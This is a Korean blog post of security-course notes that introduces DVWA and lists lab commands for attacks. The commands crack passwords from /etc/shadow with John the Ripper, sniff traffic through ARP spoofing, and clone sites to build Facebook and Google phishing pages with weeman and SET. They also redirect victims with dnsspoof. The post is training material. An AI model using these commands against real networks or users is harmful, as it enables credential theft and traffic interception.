오늘 학습 주제
1. DVWA
2. 실습
DVWA
- DVWA -
보안 전문가, 개발자, 학생들이 웹 응용 프로그램 보안에 대한 기술을 연마하고 향상시킬 수 있는
교육 및 훈련용 플랫폼으로 의도적으로 취약한 상태로 만들어진 웹 응용 프로그램
기능 | 설명 |
SQL Injection (SQLi) | 다양한 수준의 SQL 삽입 취약성을 제공하여 사용자가 SQL 삽입 공격을 실습 |
Cross-Site Scripting (XSS) | 사용자가 XSS 공격에 대한 이해를 향상시키기 위해 다양한 수준의 XSS 취약성이 포함 |
Cross-Site Request Forgery (CSRF) | CSRF 취약점을 통해 웹 응용 프로그램이 신뢰할 수 없는 요청을 수락하는 방법을 학습 |
File Inclusion (FI) | 파일 포함 취약점을 통해 사용자는 서버 파일 시스템에 액세스하는 방법을 실습 |
Insecure Session Management | 안전하지 않은 세션 관리 취약점을 제공하여 사용자가 세션 관리에 대한 이해를 향상 |
Command Injection | 명령 삽입 공격을 통해 사용자는 웹 응용 프로그램이 시스템 명령을 실행하는 방법을 실습 |
Brute Force Attacks | 암호 크래킹을 시뮬레이션하기 위해 DVWA는 사용자가 사용자 이름과 비밀번호에 대한 무차별 대입 공격을 수행할 수 있는 기능을 제공 |
Security Misconfigurations | 일반적인 보안 구성 오류를 시뮬레이션하여 사용자가 웹 응용 프로그램이 적절한 보안 구성을 갖추도록 하는 방법을 이해 |
File Upload Vulnerabilities | 파일 업로드 취약성을 통해 사용자는 악성 파일을 업로드하고 실행하는 방법을 학습 |
Unvalidated Redirects and Forwards | 사용자는 웹 응용 프로그램이 URL 리다이렉션 및 포워딩을 안전하게 다루지 않을 때 발생할 수 있는 보안 문제를 이해 |
실습
- 패스워드 크래킹 -
John the ripper를 이용한 무작위 대입 공격
John the ripper - 패스워드 크래킹 도구로서, 다양한 해시 알고리즘을 사용하여
저장된 패스워드를 크래킹할 수 있는 기능을 제공
개요 | |
선행조건 | 공격자가 /etc/shadow 파일 획득 |
시나리오 | 1. 백업 파일에서 접근 제한이 풀려버린 shadow 파일을 획득 2. 사전 파일을 통해 크랙 수행 3. 수행 결과 확인 |
명령어 | cp /etc/passwd ./pass.txt cp /etc/shadow.bak ./shadow.txt (크랙하기 위한 라인을 남긴다) unshadow pass.txt shadow.txt > target.txt (unshadow 파일을 생성) john --format=crypt --wordlist /usr/share/john/password.lst ./target.txt (크랙 수행) man john john --list=formats (옵션 확인) cd ~/.john/john.pat, john.log (파일을 확인/ john.pat > 크랙 결과 / john.log > 수행과정) |
- Sniffing -
ARP Spoofing를 이용한 sniffing 공격
ARP Spoofing - ARP 프로토콜의 취약점(네트워크 디바이스들이 자신의 IP 주소를 물리적 MAC 주소로 변환)
을 이용하여 공격
개요 | |
선행조건 | 공격자는 공격 타겟과 같은 네트워크에 있음 |
시나리오 | 1. Arp spoofing으로 타겟의 Gateway를 자신의 Mac Address로 속임 2. 패킷 릴레이를 통해 타겟으로부터 수신된 데이터를 릴레이 (fragrouter) 3. 패킷릴레이를 수행하면서, 패킷을 저장 (tcpdump) 4. 저장된 패킷을 분석하여, 로그인 정보 추출 (wireshark) |
명령어 | ifconfig eth0 promisc (인터페이스 모드 변경 [L2 any]) fragrouter-B1 (라우터 구동) arpspoof -i eth0 -1 11.11.11.13(공격타겟) 11.11.11.1 (게이트웨이) (arp spoofing) arp-a-->게이트웨이 mac address 변경 (공격타겟 arp 확인) tcpdump -i eth0 port 80 -s 1500-w/spoof.pcap (패킷덤프 [데이터 스니핑]) |
- 사이트 복제 -
Httrack을 이용한 사이트 복제
Httrack - 웹 사이트를 오프라인으로 복제하고 저장하는 오픈 소스 웹 크롤러로
웹 사이트의 HTML, 이미지, 스크립트 및 기타 리소스를 다운로드
개요 | |
선행조건 | - |
시나리오 | 1. www.naver.com 사이트를 복제 2. 웹서버를 구동하고, 복제한 사이트를 런칭 |
명령어 | httrack (httrack 구동) Enter project name : myProject (프로젝트 이름 설정) Base path: /다운로드 디렉토리 경로 (파일이 저장될 위치 설정) Enter URLs: http://www.example.com (크롤링할 사이트) Action : 1 (실행) |
- 피싱 사이트 제작 -
weeman을 이용한 피싱사이트 제작
Httrack - Python으로 작성된 작은 웹 서버로, 피싱(Phishing) 공격을 수행하는 데 사용될 수 있는 도구
개요 | |
선행조건 | - |
시나리오 | 1. www.facebook.com 을 복제한 피싱 사이트 제작 2. 타겟이 로그인 후, www.facebook.com으로로 정상 연결 3. 타겟의 비밀번호 탈취 |
명령어 | cd weeman ./weeman (weeman 실행) show (옵션 출력) set url https://www.facebook.com (복제할 사이트 설정) setaction_url https://www.facebook.com/login (이동하게 할 사이트 설정) set port 80 (포트 설정) run (실행) |
- 피싱 사이트 제작 2 -
Setoolkit을 이용한 피싱사이트 제작
setoolkit - 여러 유형의 사회 공학적 기술을 이용하여 사용자로부터 정보를 탈취하거나,
악성 코드를 전파하거나, 기타 공격을 수행하기 위한 도구 모음
개요 | |
선행조건 | DNS spoof를 통해 사이트 접속 연결하거나 Email등을 통해 로그인 유도 |
시나리오 | 1. 공격자는 구글 피싱 사이트를 띄운 후 2. 메일을 보내, 공격대상의 로그인을 유도 |
명령어 | sudo setoolkit (실행) Social-Engineering Attacks (사회공학 공격 항목 선택) Website Attack Vectors (사이트 호스팅을 위해 웹사이트 공격 백터 항목 선택) Crediential Havester Attack Method (로그인 정보 탈취를 위해 입력을 가로채는 도구 제공하는 항목 선택) Web Templates (지정한 웹 사이트를 복제하기 위한 항목 선택) Service IP: 127.0.0.1 (유도할 IP 입력) www.google.com (복제할 사이트 입력) cd ~root/.set/report (공격 종료 후 저장된 패스워드 확인) cat xxxxxxx.xml (종료된 시점의 시간 정보 xml 파일 생성) |
- DNS Spoofing -
dnsspoof를 이용한 DNS Spoofing
dnsspoof- 네트워크 내에서 DNS 응답을 조작하여 특정 도메인에 대한 응답을 변경 할 수 있는 도구
개요 | |
선행조건 | 피싱 사이트 준비 DNS 서버보다 dnsspoof가 먼저 응답을 보낼 수 있어야 함 |
시나리오 | 1. Facebook 피싱사이트를 준비 2. Arpspoof로 공격대상의 모든 패킷이 공격자를 지나도록 설정 3. Fragrouter -B1 으로 패킷 릴레이 4. 공격대상의 DNS 요청에 대해 UDP 응답을 전송 5. 공격 대상이 http://www.facebook.com 접속 요청 시, 피싱 사이트로 접속 |
명령어 | sudo arpspoof -t 10.0.2.15 10.0.2.1 (arpspoof으로 10.0.2.15로 가는 네트워크를 10.0.2.1로 변경) fragrouter-B1 (송수신 데이터의 변조 없이 데이터를 포워딩) (희생자에게 정상적인 통신을 제공하지만 모든 패킷이 공격자를 통해 지나가게 됨) vi dnsspoof.hosts (피싱사이트로 유도를 위해 설정 수정) 10.0.2.10 http://www.facebook.com 입력 후 저장 (IP 는 피싱사이트, 도메인은 정상 주소) sudo dnsspoof - eth0 -f ./dnsspoof.hosts (유도가 설정된 파일로 dnsspoof 실행) cd weeman ./weeman (weeman 실행) show (옵션 출력) set url https://www.facebook.com (복제할 사이트 설정) setaction_url https://www.facebook.com/login (이동하게 할 사이트 설정) set port 80 (포트 설정) run (실행) |
- OWASP ZAP -
OWASP ZAP을 이용한 취약성 분석
OWASP ZAP- 웹 애플리케이션에 대한 보안 취약성을 식별하고 테스트하는 데 사용하는
오픈 소스의 보안 테스트 도구
'SK shieldus Rookies 16기' 카테고리의 다른 글
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(16일차) (0) | 2023.11.13 |
---|---|
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(14일차) (0) | 2023.11.10 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(12일차) (0) | 2023.11.07 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(11일차) (0) | 2023.11.06 |
[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(10일차) (0) | 2023.11.03 |